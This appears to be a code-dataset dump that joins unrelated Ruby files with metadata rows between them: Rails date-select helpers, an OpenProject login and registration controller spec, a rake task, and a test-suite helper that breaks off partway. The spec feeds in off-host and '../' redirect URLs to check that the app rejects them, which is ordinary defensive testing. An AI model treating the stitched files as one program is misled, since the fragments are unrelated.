# The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
# Override the field name using the <tt>:field_name</tt> option, 'second' by default.
#
# my_time = Time.now + 16.seconds
#
# # Generates a select field for seconds that defaults to the seconds for the time in my_time.
# select_second(my_time)
#
# # Generates a select field for seconds that defaults to the number given.
# select_second(33)
#
# # Generates a select field for seconds that defaults to the seconds for the time in my_time
# # that is named 'interval' rather than 'second'.
# select_second(my_time, field_name: 'interval')
#
# # Generates a select field for seconds with a custom prompt. Use <tt>prompt: true</tt> for a
# # generic prompt.
# select_second(14, prompt: 'Choose seconds')
def select_second(datetime, options = {}, html_options = {})
DateTimeSelector.new(datetime, options, html_options).select_second
end
# Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.
# Also can return a select tag with options by <tt>minute_step</tt> from 0 through 59 with the 00 minute
# selected. The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
# Override the field name using the <tt>:field_name</tt> option, 'minute' by default.
#
# my_time = Time.now + 10.minutes
#
# # Generates a select field for minutes that defaults to the minutes for the time in my_time.
# select_minute(my_time)
#
# # Generates a select field for minutes that defaults to the number given.
# select_minute(14)
#
# # Generates a select field for minutes that defaults to the minutes for the time in my_time
# # that is named 'moment' rather than 'minute'.
# select_minute(my_time, field_name: 'moment')
#
# # Generates a select field for minutes with a custom prompt. Use <tt>prompt: true</tt> for a
# # generic prompt.
# select_minute(14, prompt: 'Choose minutes')
def select_minute(datetime, options = {}, html_options = {})
DateTimeSelector.new(datetime, options, html_options).select_minute
end
# Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
# The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
# Override the field name using the <tt>:field_name</tt> option, 'hour' by default.
#
# my_time = Time.now + 6.hours
#
# # Generates a select field for hours that defaults to the hour for the time in my_time.
# select_hour(my_time)
#
# # Generates a select field for hours that defaults to the number given.
# select_hour(13)
#
# # Generates a select field for hours that defaults to the hour for the time in my_time
# # that is named 'stride' rather than 'hour'.
# select_hour(my_time, field_name: 'stride')
#
# # Generates a select field for hours with a custom prompt. Use <tt>prompt: true</tt> for a
# # generic prompt.
# select_hour(13, prompt: 'Choose hour')
#
# # Generate a select field for hours in the AM/PM format
# select_hour(my_time, ampm: true)
#
# # Generates a select field that includes options for hours from 2 to 14.
# select_hour(my_time, start_hour: 2, end_hour: 14)
def select_hour(datetime, options = {}, html_options = {})
DateTimeSelector.new(datetime, options, html_options).select_hour
end
# Returns a select tag with options for each of the days 1 through 31 with the current day selected.
# The <tt>date</tt> can also be substituted for a day number.
# If you want to display days with a leading zero set the <tt>:use_two_digit_numbers</tt> key in +options+ to true.
# Override the field name using the <tt>:field_name</tt> option, 'day' by default.
#
# my_date = Time.now + 2.days
#
# # Generates a select field for days that defaults to the day for the date in my_date.
# select_day(my_date)
#
# # Generates a select field for days that defaults to the number given.
# select_day(5)
#
# # Generates a select field for days that defaults to the number given, but displays it with two digits.
# select_day(5, use_two_digit_numbers: true)
#
# # Generates a select field for days that defaults to the day for the date in my_date
# # that is named 'due' rather than 'day'.
# select_day(my_date, field_name: 'due')
#
# # Generates a select field for days with a custom prompt. Use <tt>prompt: true</tt> for a
# # generic prompt.
# select_day(5, prompt: 'Choose day')
def select_day(date, options = {}, html_options = {})
DateTimeSelector.new(date, options, html_options).select_day
end
# Returns a select tag with options for each of the months January through December with the current month
# selected. The month names are presented as keys (what's shown to the user) and the month numbers (1-12) are
# used as values (what's submitted to the server). It's also possible to use month numbers for the presentation
# instead of names -- set the <tt>:use_month_numbers</tt> key in +options+ to true for this to happen. If you
# want both numbers and names, set the <tt>:add_month_numbers</tt> key in +options+ to true. If you would prefer
# to show month names as abbreviations, set the <tt>:use_short_month</tt> key in +options+ to true. If you want
# to use your own month names, set the <tt>:use_month_names</tt> key in +options+ to an array of 12 month names.
# If you want to display months with a leading zero set the <tt>:use_two_digit_numbers</tt> key in +options+ to true.
# Override the field name using the <tt>:field_name</tt> option, 'month' by default.
#
# # Generates a select field for months that defaults to the current month that
# # will use keys like "January", "March".
# select_month(Date.today)
#
# # Generates a select field for months that defaults to the current month that
# # is named "start" rather than "month".
# select_month(Date.today, field_name: 'start')
#
# # Generates a select field for months that defaults to the current month that
# # will use keys like "1", "3".
# select_month(Date.today, use_month_numbers: true)
#
# # Generates a select field for months that defaults to the current month that
# # will use keys like "1 - January", "3 - March".
# select_month(Date.today, add_month_numbers: true)
#
# # Generates a select field for months that defaults to the current month that
# # will use keys like "Jan", "Mar".
# select_month(Date.today, use_short_month: true)
#
# # Generates a select field for months that defaults to the current month that
# # will use keys like "Januar", "Marts."
# select_month(Date.today, use_month_names: %w(Januar Februar Marts ...))
#
# # Generates a select field for months that defaults to the current month that
# # will use keys with two digit numbers like "01", "03".
# select_month(Date.today, use_two_digit_numbers: true)
#
# # Generates a select field for months with a custom prompt. Use <tt>prompt: true</tt> for a
# # generic prompt.
# select_month(14, prompt: 'Choose month')
def select_month(date, options = {}, html_options = {})
DateTimeSelector.new(date, options, html_options).select_month
end
# Returns a select tag with options for each of the five years on each side of the current, which is selected.
# The five year radius can be changed using the <tt>:start_year</tt> and <tt>:end_year</tt> keys in the
# +options+. Both ascending and descending year lists are supported by making <tt>:start_year</tt> less than or
# greater than <tt>:end_year</tt>. The <tt>date</tt> can also be substituted for a year given as a number.
# Override the field name using the <tt>:field_name</tt> option, 'year' by default.
#
# # Generates a select field for years that defaults to the current year that
# # has ascending year values.
# select_year(Date.today, start_year: 1992, end_year: 2007)
#
# # Generates a select field for years that defaults to the current year that
# # is named 'birth' rather than 'year'.
# select_year(Date.today, field_name: 'birth')
#
# # Generates a select field for years that defaults to the current year that
# # has descending year values.
# select_year(Date.today, start_year: 2005, end_year: 1900)
#
# # Generates a select field for years that defaults to the year 2006 that
# # has ascending year values.
# select_year(2006, start_year: 2000, end_year: 2010)
#
# # Generates a select field for years with a custom prompt. Use <tt>prompt: true</tt> for a
# # generic prompt.
# select_year(14, prompt: 'Choose year')
def select_year(date, options = {}, html_options = {})
DateTimeSelector.new(date, options, html_options).select_year
end
# Returns an HTML time tag for the given date or time.
#
# time_tag Date.today # =>
# <time datetime="2010-11-04">November 04, 2010</time>
# time_tag Time.now # =>
# <time datetime="2010-11-04T17:55:45+01:00">November 04, 2010 17:55</time>
# time_tag Date.yesterday, 'Yesterday' # =>
# <time datetime="2010-11-03">Yesterday</time>
# time_tag Date.today, pubdate: true # =>
# <time datetime="2010-11-04" pubdate="pubdate">November 04, 2010</time>
# time_tag Date.today, datetime: Date.today.strftime('%G-W%V') # =>
# <time datetime="2010-W44">November 04, 2010</time>
#
# <%= time_tag Time.now do %>
# <span>Right now</span>
# <% end %>
# # => <time datetime="2010-11-04T17:55:45+01:00"><span>Right now</span></time>
def time_tag(date_or_time, *args, &block)
options = args.extract_options!
format = options.delete(:format) || :long
content = args.first || I18n.l(date_or_time, format: format)
datetime = date_or_time.acts_like?(:time) ? date_or_time.xmlschema : date_or_time.iso8601
content_tag("time".freeze, content, options.reverse_merge(datetime: datetime), &block)
end
private
def normalize_distance_of_time_argument_to_time(value)
if value.is_a?(Numeric)
Time.at(value)
elsif value.respond_to?(:to_time)
value.to_time
else
raise ArgumentError, "#{value.inspect} can't be converted to a Time value"
end
end
end
class DateTimeSelector #:nodoc:
include ActionView::Helpers::TagHelper
DEFAULT_PREFIX = "date".freeze
POSITION = {
year: 1, month: 2, day: 3, hour: 4, minute: 5, second: 6
}.freeze
AMPM_TRANSLATION = Hash[
[[0, "12 AM"], [1, "01 AM"], [2, "02 AM"], [3, "03 AM"],
[4, "04 AM"], [5, "05 AM"], [6, "06 AM"], [7, "07 AM"],
[8, "08 AM"], [9, "09 AM"], [10, "10 AM"], [11, "11 AM"],
[12, "12 PM"], [13, "01 PM"], [14, "02 PM"], [15, "03 PM"],
[16, "04 PM"], [17, "05 PM"], [18, "06 PM"], [19, "07 PM"],
[20, "08 PM"], [21, "09 PM"], [22, "10 PM"], [23, "11 PM"]]
].freeze
def initialize(datetime, options = {}, html_options = {})
@options = options.dup
@html_options = html_options.dup
@datetime = datetime
@options[:datetime_separator] ||= " — "
@options[:time_separator] ||= " : "
end
def select_datetime
order = date_order.dup
order -= [:hour, :minute, :second]
@options[:discard_year] ||= true unless order.include?(:year)
@options[:discard_month] ||= true unless order.include?(:month)
@options[:discard_day] ||= true if @options[:discard_month] || !order.include?(:day)
@options[:discard_minute] ||= true if @options[:discard_hour]
@options[:discard_second] ||= true unless @options[:include_seconds] && !@options[:discard_minute]
set_day_if_discarded
if @options[:tag] && @options[:ignore_date]
select_time
else
[:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) }
order += [:hour, :minute, :second] unless @options[:discard_hour]
build_selects_from_types(order)
end
end
def select_date
order = date_order.dup
@options[:discard_hour] = true
@options[:discard_minute] = true
@options[:discard_second] = true
@options[:discard_year] ||= true unless order.include?(:year)
@options[:discard_month] ||= true unless order.include?(:month)
@options[:discard_day] ||= true if @options[:discard_month] || !order.include?(:day)
set_day_if_discarded
[:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) }
build_selects_from_types(order)
end
def select_time
order = []
@options[:discard_month] = true
@options[:discard_year] = true
@options[:discard_day] = true
@options[:discard_second] ||= true unless @options[:include_seconds]
order += [:year, :month, :day] unless @options[:ignore_date]
order += [:hour, :minute]
order << :second if @options[:include_seconds]
build_selects_from_types(order)
end
def select_second
if @options[:use_hidden] || @options[:discard_second]
build_hidden(:second, sec) if @options[:include_seconds]
else
build_options_and_select(:second, sec)
end
end
def select_minute
if @options[:use_hidden] || @options[:discard_minute]
build_hidden(:minute, min)
else
build_options_and_select(:minute, min, step: @options[:minute_step])
end
end
def select_hour
if @options[:use_hidden] || @options[:discard_hour]
build_hidden(:hour, hour)
else
options = {}
options[:ampm] = @options[:ampm] || false
options[:start] = @options[:start_hour] || 0
options[:end] = @options[:end_hour] || 23
build_options_and_select(:hour, hour, options)
end
end
def select_day
if @options[:use_hidden] || @options[:discard_day]
build_hidden(:day, day || 1)
else
build_options_and_select(:day, day, start: 1, end: 31, leading_zeros: false, use_two_digit_numbers: @options[:use_two_digit_numbers])
end
end
def select_month
if @options[:use_hidden] || @options[:discard_month]
build_hidden(:month, month || 1)
else
month_options = []
1.upto(12) do |month_number|
options = { value: month_number }
options[:selected] = "selected" if month == month_number
month_options << content_tag("option".freeze, month_name(month_number), options) + "\n"
end
build_select(:month, month_options.join)
end
end
def select_year
if !@datetime || @datetime == 0
val = "1"
middle_year = Date.today.year
else
val = middle_year = year
end
if @options[:use_hidden] || @options[:discard_year]
build_hidden(:year, val)
else
options = {}
options[:start] = @options[:start_year] || middle_year - 5
options[:end] = @options[:end_year] || middle_year + 5
options[:step] = options[:start] < options[:end] ? 1 : -1
options[:leading_zeros] = false
options[:max_years_allowed] = @options[:max_years_allowed] || 1000
if (options[:end] - options[:start]).abs > options[:max_years_allowed]
raise ArgumentError, "There are too many years options to be built. Are you sure you haven't mistyped something? You can provide the :max_years_allowed parameter."
end
build_options_and_select(:year, val, options)
end
end
private
%w( sec min hour day month year ).each do |method|
define_method(method) do
case @datetime
when Hash then @datetime[method.to_sym]
when Numeric then @datetime
when nil then nil
else @datetime.send(method)
end
end
end
# If the day is hidden, the day should be set to the 1st so all month and year choices are
# valid. Otherwise, February 31st or February 29th, 2011 can be selected, which are invalid.
def set_day_if_discarded
if @datetime && @options[:discard_day]
@datetime = @datetime.change(day: 1)
end
end
# Returns translated month names, but also ensures that a custom month
# name array has a leading +nil+ element.
def month_names
@month_names ||= begin
month_names = @options[:use_month_names] || translated_month_names
month_names.unshift(nil) if month_names.size < 13
month_names
end
end
# Returns translated month names.
# => [nil, "January", "February", "March",
# "April", "May", "June", "July",
# "August", "September", "October",
# "November", "December"]
#
# If <tt>:use_short_month</tt> option is set
# => [nil, "Jan", "Feb", "Mar", "Apr", "May", "Jun",
# "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"]
def translated_month_names
key = @options[:use_short_month] ? :'date.abbr_month_names' : :'date.month_names'
I18n.translate(key, locale: @options[:locale])
end
# Looks up month names by number (1-based):
#
# month_name(1) # => "January"
#
# If the <tt>:use_month_numbers</tt> option is passed:
#
# month_name(1) # => 1
#
# If the <tt>:use_two_month_numbers</tt> option is passed:
#
# month_name(1) # => '01'
#
# If the <tt>:add_month_numbers</tt> option is passed:
#
# month_name(1) # => "1 - January"
#
# If the <tt>:month_format_string</tt> option is passed:
#
# month_name(1) # => "January (01)"
#
# depending on the format string.
def month_name(number)
if @options[:use_month_numbers]
number
elsif @options[:use_two_digit_numbers]
"%02d" % number
elsif @options[:add_month_numbers]
"#{number} - #{month_names[number]}"
elsif format_string = @options[:month_format_string]
format_string % { number: number, name: month_names[number] }
else
month_names[number]
end
end
def date_order
@date_order ||= @options[:order] || translated_date_order
end
def translated_date_order
date_order = I18n.translate(:'date.order', locale: @options[:locale], default: [])
date_order = date_order.map(&:to_sym)
forbidden_elements = date_order - [:year, :month, :day]
if forbidden_elements.any?
raise StandardError,
"#{@options[:locale]}.date.order only accepts :year, :month and :day"
end
date_order
end
# Build full select tag from date type and options.
def build_options_and_select(type, selected, options = {})
build_select(type, build_options(selected, options))
end
# Build select option HTML from date value and options.
# build_options(15, start: 1, end: 31)
# => "<option value="1">1</option>
# <option value="2">2</option>
# <option value="3">3</option>..."
#
# If <tt>use_two_digit_numbers: true</tt> option is passed
# build_options(15, start: 1, end: 31, use_two_digit_numbers: true)
# => "<option value="1">01</option>
# <option value="2">02</option>
# <option value="3">03</option>..."
#
# If <tt>:step</tt> options is passed
# build_options(15, start: 1, end: 31, step: 2)
# => "<option value="1">1</option>
# <option value="3">3</option>
# <option value="5">5</option>..."
def build_options(selected, options = {})
options = {
leading_zeros: true, ampm: false, use_two_digit_numbers: false
}.merge!(options)
start = options.delete(:start) || 0
stop = options.delete(:end) || 59
step = options.delete(:step) || 1
leading_zeros = options.delete(:leading_zeros)
select_options = []
start.step(stop, step) do |i|
value = leading_zeros ? sprintf("%02d", i) : i
tag_options = { value: value }
tag_options[:selected] = "selected" if selected == i
text = options[:use_two_digit_numbers] ? sprintf("%02d", i) : value
text = options[:ampm] ? AMPM_TRANSLATION[i] : text
select_options << content_tag("option".freeze, text, tag_options)
end
(select_options.join("\n") + "\n").html_safe
end
# Builds select tag from date type and HTML select options.
# build_select(:month, "<option value="1">January</option>...")
# => "<select id="post_written_on_2i" name="post[written_on(2i)]">
# <option value="1">January</option>...
# </select>"
def build_select(type, select_options_as_html)
select_options = {
id: input_id_from_type(type),
name: input_name_from_type(type)
}.merge!(@html_options)
select_options[:disabled] = "disabled" if @options[:disabled]
select_options[:class] = css_class_attribute(type, select_options[:class], @options[:with_css_classes]) if @options[:with_css_classes]
select_html = "\n".dup
select_html << content_tag("option".freeze, "", value: "") + "\n" if @options[:include_blank]
select_html << prompt_option_tag(type, @options[:prompt]) + "\n" if @options[:prompt]
select_html << select_options_as_html
(content_tag("select".freeze, select_html.html_safe, select_options) + "\n").html_safe
end
# Builds the css class value for the select element
# css_class_attribute(:year, 'date optional', { year: 'my-year' })
# => "date optional my-year"
def css_class_attribute(type, html_options_class, options) # :nodoc:
css_class = \
case options
when Hash
options[type.to_sym]
else
type
end
[html_options_class, css_class].compact.join(" ")
end
# Builds a prompt option tag with supplied options or from default options.
# prompt_option_tag(:month, prompt: 'Select month')
# => "<option value="">Select month</option>"
def prompt_option_tag(type, options)
prompt = \
case options
when Hash
default_options = { year: false, month: false, day: false, hour: false, minute: false, second: false }
default_options.merge!(options)[type.to_sym]
when String
options
else
I18n.translate(:"datetime.prompts.#{type}", locale: @options[:locale])
end
prompt ? content_tag("option".freeze, prompt, value: "") : ""
end
# Builds hidden input tag for date part and value.
# build_hidden(:year, 2008)
# => "<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="2008" />"
def build_hidden(type, value)
select_options = {
type: "hidden",
id: input_id_from_type(type),
name: input_name_from_type(type),
value: value
}.merge!(@html_options.slice(:disabled))
select_options[:disabled] = "disabled" if @options[:disabled]
tag(:input, select_options) + "\n".html_safe
end
# Returns the name attribute for the input tag.
# => post[written_on(1i)]
def input_name_from_type(type)
prefix = @options[:prefix] || ActionView::Helpers::DateTimeSelector::DEFAULT_PREFIX
prefix += "[#{@options[:index]}]" if @options.has_key?(:index)
field_name = @options[:field_name] || type.to_s
if @options[:include_position]
field_name += "(#{ActionView::Helpers::DateTimeSelector::POSITION[type]}i)"
end
@options[:discard_type] ? prefix : "#{prefix}[#{field_name}]"
end
# Returns the id attribute for the input tag.
# => "post_written_on_1i"
def input_id_from_type(type)
id = input_name_from_type(type).gsub(/([\[\(])|(\]\[)/, "_").gsub(/[\]\)]/, "")
id = @options[:namespace] + "_" + id if @options[:namespace]
id
end
# Given an ordering of datetime components, create the selection HTML
# and join them with their appropriate separators.
def build_selects_from_types(order)
select = "".dup
first_visible = order.find { |type| !@options[:"discard_#{type}"] }
order.reverse_each do |type|
separator = separator(type) unless type == first_visible # don't add before first visible field
select.insert(0, separator.to_s + send("select_#{type}").to_s)
end
select.html_safe
end
# Returns the separator for a given datetime component.
def separator(type)
return "" if @options[:use_hidden]
case type
when :year, :month, :day
@options[:"discard_#{type}"] ? "" : @options[:date_separator]
when :hour
(@options[:discard_year] && @options[:discard_day]) ? "" : @options[:datetime_separator]
when :minute, :second
@options[:"discard_#{type}"] ? "" : @options[:time_separator]
end
end
end
class FormBuilder
# Wraps ActionView::Helpers::DateHelper#date_select for form builders:
#
# <%= form_for @person do |f| %>
# <%= f.date_select :birth_date %>
# <%= f.submit %>
# <% end %>
#
# Please refer to the documentation of the base helper for details.
def date_select(method, options = {}, html_options = {})
@template.date_select(@object_name, method, objectify_options(options), html_options)
end
# Wraps ActionView::Helpers::DateHelper#time_select for form builders:
#
# <%= form_for @race do |f| %>
# <%= f.time_select :average_lap %>
# <%= f.submit %>
# <% end %>
#
# Please refer to the documentation of the base helper for details.
def time_select(method, options = {}, html_options = {})
@template.time_select(@object_name, method, objectify_options(options), html_options)
end
# Wraps ActionView::Helpers::DateHelper#datetime_select for form builders:
#
# <%= form_for @person do |f| %>
# <%= f.datetime_select :last_request_at %>
# <%= f.submit %>
# <% end %>
#
# Please refer to the documentation of the base helper for details.
def datetime_select(method, options = {}, html_options = {})
@template.datetime_select(@object_name, method, objectify_options(options), html_options)
end
end
end
end
| 51.665514 | 175 | 0.607776 |
916fc383eae943b6e71b2cf6366d78176e87ad10 | 16,393 | #-- copyright
# OpenProject is a project management system.
# Copyright (C) 2012-2015 the OpenProject Foundation (OPF)
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2013 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See doc/COPYRIGHT.rdoc for more details.
#++
require 'spec_helper'
describe AccountController, type: :controller do
render_views
after do
User.delete_all
User.current = nil
end
context 'POST #login' do
let(:admin) { FactoryGirl.create(:admin) }
describe 'User logging in with back_url' do
it 'should redirect to a relative path' do
post :login, username: admin.login, password: 'adminADMIN!', back_url: '/'
expect(response).to redirect_to root_path
end
it 'should redirect to an absolute path given the same host' do
# note: test.host is the hostname during tests
post :login, username: admin.login,
password: 'adminADMIN!',
back_url: 'http://test.host/work_packages/show/1'
expect(response).to redirect_to '/work_packages/show/1'
end
it 'should not redirect to another host' do
post :login, username: admin.login,
password: 'adminADMIN!',
back_url: 'http://test.foo/work_packages/show/1'
expect(response).to redirect_to my_page_path
end
it 'should not redirect to another host with a protocol relative url' do
post :login, username: admin.login,
password: 'adminADMIN!',
back_url: '//test.foo/fake'
expect(response).to redirect_to my_page_path
end
it 'should not redirect to logout' do
post :login , :username => admin.login, :password => 'adminADMIN!', :back_url => '/logout'
expect(response).to redirect_to my_page_path
end
it 'should create users on the fly' do
Setting.self_registration = '0'
allow(AuthSource).to receive(:authenticate).and_return(login: 'foo',
firstname: 'Foo',
lastname: 'Smith',
mail: '[email protected]',
auth_source_id: 66)
post :login, username: 'foo', password: 'bar'
expect(response).to redirect_to my_first_login_path
user = User.find_by_login('foo')
expect(user).to be_an_instance_of User
expect(user.auth_source_id).to eq(66)
expect(user.current_password).to be_nil
end
context 'with a relative url root' do
before do
@old_relative_url_root = OpenProject::Configuration['rails_relative_url_root']
OpenProject::Configuration['rails_relative_url_root'] = '/openproject'
end
after do
OpenProject::Configuration['rails_relative_url_root'] = @old_relative_url_root
end
it 'should redirect to the same subdirectory with an absolute path' do
post :login, username: admin.login,
password: 'adminADMIN!',
back_url: 'http://test.host/openproject/work_packages/show/1'
expect(response).to redirect_to '/openproject/work_packages/show/1'
end
it 'should redirect to the same subdirectory with a relative path' do
post :login, username: admin.login,
password: 'adminADMIN!',
back_url: '/openproject/work_packages/show/1'
expect(response).to redirect_to '/openproject/work_packages/show/1'
end
it 'should not redirect to another subdirectory with an absolute path' do
post :login, username: admin.login,
password: 'adminADMIN!',
back_url: 'http://test.host/foo/work_packages/show/1'
expect(response).to redirect_to my_page_path
end
it 'should not redirect to another subdirectory with a relative path' do
post :login, username: admin.login,
password: 'adminADMIN!',
back_url: '/foo/work_packages/show/1'
expect(response).to redirect_to my_page_path
end
it 'should not redirect to another subdirectory by going up the path hierarchy' do
post :login, username: admin.login,
password: 'adminADMIN!',
back_url: 'http://test.host/openproject/../foo/work_packages/show/1'
expect(response).to redirect_to my_page_path
end
it 'should not redirect to another subdirectory with a protocol relative path' do
post :login, username: admin.login,
password: 'adminADMIN!',
back_url: '//test.host/foo/work_packages/show/1'
expect(response).to redirect_to my_page_path
end
end
end
describe 'for a user trying to log in via an API request' do
before do
post :login, username: admin.login,
password: 'adminADMIN!',
format: :json
end
it 'should return a 410' do
expect(response.code.to_s).to eql('410')
end
it 'should not login the user' do
expect(@controller.send(:current_user).anonymous?).to be_truthy
end
end
context 'with disabled password login' do
before do
allow(OpenProject::Configuration).to receive(:disable_password_login?).and_return(true)
post :login
end
it 'is not found' do
expect(response.status).to eq 404
end
end
end
describe '#login with omniauth_direct_login enabled' do
before do
allow(Concerns::OmniauthLogin).to receive(:direct_login_provider).and_return('some_provider')
end
describe 'GET' do
it 'redirects to some_provider' do
get :login
expect(response).to redirect_to '/auth/some_provider'
end
end
describe 'POST' do
it 'redirects to some_provider' do
post :login, username: 'foo', password: 'bar'
expect(response).to redirect_to '/auth/some_provider'
end
end
end
describe 'Login for user with forced password change' do
let(:admin) { FactoryGirl.create(:admin, force_password_change: true) }
before do
allow_any_instance_of(User).to receive(:change_password_allowed?).and_return(false)
end
describe "User who is not allowed to change password can't login" do
before do
post 'change_password', username: admin.login,
password: 'adminADMIN!',
new_password: 'adminADMIN!New',
new_password_confirmation: 'adminADMIN!New'
end
it 'should redirect to the login page' do
expect(response).to redirect_to '/login'
end
end
describe 'User who is not allowed to change password, is not redirected to the login page' do
before do
post 'login', username: admin.login, password: 'adminADMIN!'
end
it 'should redirect ot the login page' do
expect(response).to redirect_to '/login'
end
end
end
describe 'POST #change_password' do
context 'with disabled password login' do
before do
allow(OpenProject::Configuration).to receive(:disable_password_login?).and_return(true)
post :change_password
end
it 'is not found' do
expect(response.status).to eq 404
end
end
end
shared_examples 'registration disabled' do
it 'redirects to back the login page' do
expect(response).to redirect_to signin_path
end
it 'informs the user that registration is disabled' do
expect(flash[:error]).to eq(I18n.t('account.error_self_registration_disabled'))
end
end
context 'GET #register' do
context 'with self registration on' do
before do
allow(Setting).to receive(:self_registration).and_return('3')
end
context 'and password login enabled' do
before do
get :register
end
it 'is successful' do
is_expected.to respond_with :success
expect(response).to render_template :register
expect(assigns[:user]).not_to be_nil
end
end
context 'and password login disabled' do
before do
allow(OpenProject::Configuration).to receive(:disable_password_login?).and_return(true)
get :register
end
it_behaves_like 'registration disabled'
end
end
context 'with self registration off' do
before do
allow(Setting).to receive(:self_registration).and_return('0')
allow(Setting).to receive(:self_registration?).and_return(false)
get :register
end
it_behaves_like 'registration disabled'
end
end
# See integration/account_test.rb for the full test
context 'POST #register' do
context 'with self registration on automatic' do
before do
allow(Setting).to receive(:self_registration).and_return('3')
end
context 'with password login enabled' do
before do
post :register, user: {
login: 'register',
password: 'adminADMIN!',
password_confirmation: 'adminADMIN!',
firstname: 'John',
lastname: 'Doe',
mail: '[email protected]'
}
end
it 'redirects to first_login page' do
is_expected.to respond_with :redirect
expect(assigns[:user]).not_to be_nil
is_expected.to redirect_to(my_first_login_path)
expect(User.last(conditions: { login: 'register' })).not_to be_nil
end
it 'set the user status to active' do
user = User.last(conditions: { login: 'register' })
expect(user).not_to be_nil
expect(user.status).to eq(User::STATUSES[:active])
end
end
context 'with password login disabled' do
before do
allow(OpenProject::Configuration).to receive(:disable_password_login?).and_return(true)
post :register
end
it_behaves_like 'registration disabled'
end
end
context 'with self registration by email' do
before do
allow(Setting).to receive(:self_registration).and_return('1')
end
context 'with password login enabled' do
before do
Token.delete_all
post :register, user: {
login: 'register',
password: 'adminADMIN!',
password_confirmation: 'adminADMIN!',
firstname: 'John',
lastname: 'Doe',
mail: '[email protected]'
}
end
it 'redirects to the login page' do
is_expected.to redirect_to '/login'
end
it "doesn't activate the user but sends out a token instead" do
expect(User.find_by_login('register')).not_to be_active
token = Token.find(:first)
expect(token.action).to eq('register')
expect(token.user.mail).to eq('[email protected]')
expect(token).not_to be_expired
end
end
context 'with password login disabled' do
before do
allow(OpenProject::Configuration).to receive(:disable_password_login?).and_return(true)
post :register
end
it_behaves_like 'registration disabled'
end
end
context 'with manual activation' do
let(:user_hash) do
{ login: 'register',
password: 'adminADMIN!',
password_confirmation: 'adminADMIN!',
firstname: 'John',
lastname: 'Doe',
mail: '[email protected]' }
end
before do
allow(Setting).to receive(:self_registration).and_return('2')
end
context 'without back_url' do
before do
post :register, user: user_hash
end
it 'redirects to the login page' do
expect(response).to redirect_to '/login'
end
it "doesn't activate the user" do
expect(User.find_by_login('register')).not_to be_active
end
end
context 'with back_url' do
before do
post :register, user: user_hash, back_url: 'https://example.net/some_back_url'
end
it 'preserves the back url' do
expect(response).to redirect_to(
'/login?back_url=https%3A%2F%2Fexample.net%2Fsome_back_url')
end
end
context 'with password login disabled' do
before do
allow(OpenProject::Configuration).to receive(:disable_password_login?).and_return(true)
post :register
end
it_behaves_like 'registration disabled'
end
end
context 'with self registration off' do
before do
allow(Setting).to receive(:self_registration).and_return('0')
allow(Setting).to receive(:self_registration?).and_return(false)
post :register, user: {
login: 'register',
password: 'adminADMIN!',
password_confirmation: 'adminADMIN!',
firstname: 'John',
lastname: 'Doe',
mail: '[email protected]'
}
end
it_behaves_like 'registration disabled'
end
context 'with on-the-fly registration' do
before do
allow(Setting).to receive(:self_registration).and_return('0')
allow(Setting).to receive(:self_registration?).and_return(false)
allow_any_instance_of(User).to receive(:change_password_allowed?).and_return(false)
allow(AuthSource).to receive(:authenticate).and_return(login: 'foo',
lastname: 'Smith',
auth_source_id: 66)
end
context 'with password login enabled' do
before do
post :login, username: 'foo', password: 'bar'
end
it 'registers the user on-the-fly' do
is_expected.to respond_with :success
expect(response).to render_template :register
post :register, user: { firstname: 'Foo',
lastname: 'Smith',
mail: '[email protected]' }
expect(response).to redirect_to '/my/account'
user = User.find_by_login('foo')
expect(user).to be_an_instance_of(User)
expect(user.auth_source_id).to eql 66
expect(user.current_password).to be_nil
end
end
context 'with password login disabled' do
before do
allow(OpenProject::Configuration).to receive(:disable_password_login?).and_return(true)
end
describe 'login' do
before do
post :login, username: 'foo', password: 'bar'
end
it 'is not found' do
expect(response.status).to eq 404
end
end
describe 'registration' do
before do
post :register, user: { firstname: 'Foo',
lastname: 'Smith',
mail: '[email protected]' }
end
it_behaves_like 'registration disabled'
end
end
end
end
end
| 32.333333 | 99 | 0.60355 |
5d2d0010ede6b458754eaed2a8cbdb0bf0779d6e | 142 | require 'rake'
namespace :watering_run do
desc 'Waters plants if needed'
task :water => :environment do
User.water_everyday
end
end
| 17.75 | 32 | 0.732394 |
f86a4d59cdf2b1439aceeb6d47e83ea871f2fb6f | 3,632 | # frozen_string_literal: true
require "dry/system/magic_comments_parser"
require "json"
require "pathname"
require "rspec"
module Test
module SuiteHelpers
module_function
def suite
@suite ||= RSpec.configuration.suite
end
end
class Suite
class << self
def instance
@instance ||= new
end
end
SUITE_PATH = "spec/suite"
attr_reader :root
def initialize(application: nil, root: nil)
@application = application
@root = root ? Pathname(root) : Pathname(Dir.pwd).join(SUITE_PATH).freeze
end
def application
@application ||= init_application
end
def init_application
require_relative "../../config/application"
@application = Hanami.init
end
def start_coverage
return unless coverage?
require "simplecov"
SimpleCov.command_name(test_group_name) if parallel?
SimpleCov.start do
add_filter "/spec/"
add_filter "/system/"
end
end
def coverage_threshold
ENV.fetch("COVERAGE_THRESHOLD").to_f.round
end
def current_coverage
data = JSON.parse(File.open(application.root.join("coverage/.last_run.json")).read)
data.fetch("result").fetch("covered_percent").to_f.round
end
def test_group_name
@test_group_name ||= "test_suite_#{build_idx}"
end
def chdir(name)
self.class.new(
application: application,
root: root.join(name.to_s)
)
end
def files
dirs.map { |dir| dir.join("**/*_spec.rb") }.flat_map { |path| Dir[path] }.sort
end
def groups
